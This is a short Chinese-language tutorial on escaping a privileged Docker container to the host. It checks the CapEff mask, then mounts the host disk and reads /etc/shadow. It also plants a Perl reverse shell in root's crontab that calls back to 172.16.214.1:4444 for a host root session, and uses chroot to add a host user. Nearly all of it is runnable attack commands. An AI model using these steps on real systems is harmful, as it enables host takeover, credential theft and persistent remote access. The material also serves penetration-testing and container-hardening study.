Privileged 特权模式容器逃逸


# 搭建

例如当前有个普通用户 teamssix,并且是在 docker 用户组内的

在普通用户下,使用 --privileged=true 创建一个容器

docker run --rm --privileged=true -it alpine
1

# 检测

在容器内部执行下面的命令,从而判断容器是不是特权模式,如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff

cat /proc/self/status | grep CapEff
1

# 复现

# 方法一

查看挂载磁盘设备

fdisk -l
1

在容器内部执行以下命令,将宿主机文件挂载到 /test 目录下

mkdir /test && mount /dev/sda1 /test
1

尝试访问宿主机 shadow 文件,可以看到正常访问

cat /test/etc/shadow
1

也可以在定时任务中写入反弹 shell

这里的定时任务路径是 Ubuntu 系统路径,不同的系统定时任务路径不一样

echo $'*/1 * * * * perl -e \'use Socket;$i="172.16.214.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' >> /test/var/spool/cron/crontabs/root
1

一分钟后,就能收到反弹回来的会话了,而且会话权限是宿主机 root 用户权限。

# 方法二

mount /dev/sda1 /mnt
chroot /mnt adduser john
1
2

通过新添加的用户登录